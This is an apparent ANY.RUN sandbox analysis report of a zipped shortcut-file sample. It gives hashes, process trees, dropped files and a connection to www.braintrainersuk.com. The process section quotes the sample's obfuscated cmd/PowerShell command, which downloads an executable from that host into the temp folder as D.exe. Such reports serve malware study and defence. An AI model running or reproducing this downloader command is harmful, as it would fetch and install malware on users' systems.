analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

bfeb9575f7d6d55ca4c5f5c0443f994dd4bdd2542a2d73d80b4e58ce87b10a90

Full analysis: https://app.any.run/tasks/2ad360f8-39a1-460c-aeb7-b20c9422a7bf
Verdict: Malicious activity
Analysis date: May 20, 2019, 19:41:01
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

4C983186989AC8BA79C847463C783A56

SHA1:

65A6268BC6201CDA6D59D21512B9ADFF8BCB1AE0

SHA256:

BFEB9575F7D6D55CA4C5F5C0443F994DD4BDD2542A2D73D80B4E58CE87B10A90

SSDEEP:

3072:fXANmZO3D55ZYnKtWf6Rv0S5AbGZYJDlejEjvpNi1U/Y83z:fLOHZT5R0S4JJjDpN4X8D

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2896)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1032)

    • Creates files in the user directory

      • powershell.exe (PID: 1032)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 1824)

  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 1032)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0808
ZipCompression: Deflated
ZipModifyDate: 2019:05:20 16:31:08
ZipCRC: 0x9443503a
ZipCompressedSize: 137275
ZipUncompressedSize: 151802
ZipFileName: GFHN-939742346.lnk
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs cmd.exe no specs powershell.exe wordpad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1824"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\bfeb9575f7d6d55ca4c5f5c0443f994dd4bdd2542a2d73d80b4e58ce87b10a90.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
2896"C:\Windows\System32\cmd.exe" /C set o=HttPs:/&powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"&"C:\Program Files\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.syS&C:\Users\admin\AppData\Local\Temp/d&J34HH&E34JSH_d+&dfC:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1032powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2604"C:\Program Files\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.sySC:\Program Files\wiNDows nt\accESsorIes\wordpad.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Wordpad Application
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
688
Read events
599
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
1032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AL9EF9NX6Y86M1JQZJ4U.temp —
MD5:—
SHA256:—
1032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
1032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1241a5.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
1824WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa1824.29086\GFHN-939742346.lnklnk
MD5:B5E0C81749FAEC0E71B3D11665B20C72
SHA256:0A659F16550182F549FB77FCB4AF8FB9C501A6CB69938DF449D53EC4D38B720C
1032powershell.exeC:\Users\admin\AppData\Local\Temp\D.exeexecutable
MD5:E6DBE5E47DAB3B586A10F9B2BFD4312A
SHA256:A742DD1829BF43E23262D378D8E5219C5C9DA60C28BBC3C063274AAD4B961171
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1032
powershell.exe
68.66.248.28:443
www.braintrainersuk.com
A2 Hosting, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
www.braintrainersuk.com
  • 68.66.248.28
malicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
bfeb9575f7d6d55ca4c5f5c0443f994dd4bdd2542a2d73d80b4e58ce87b10a90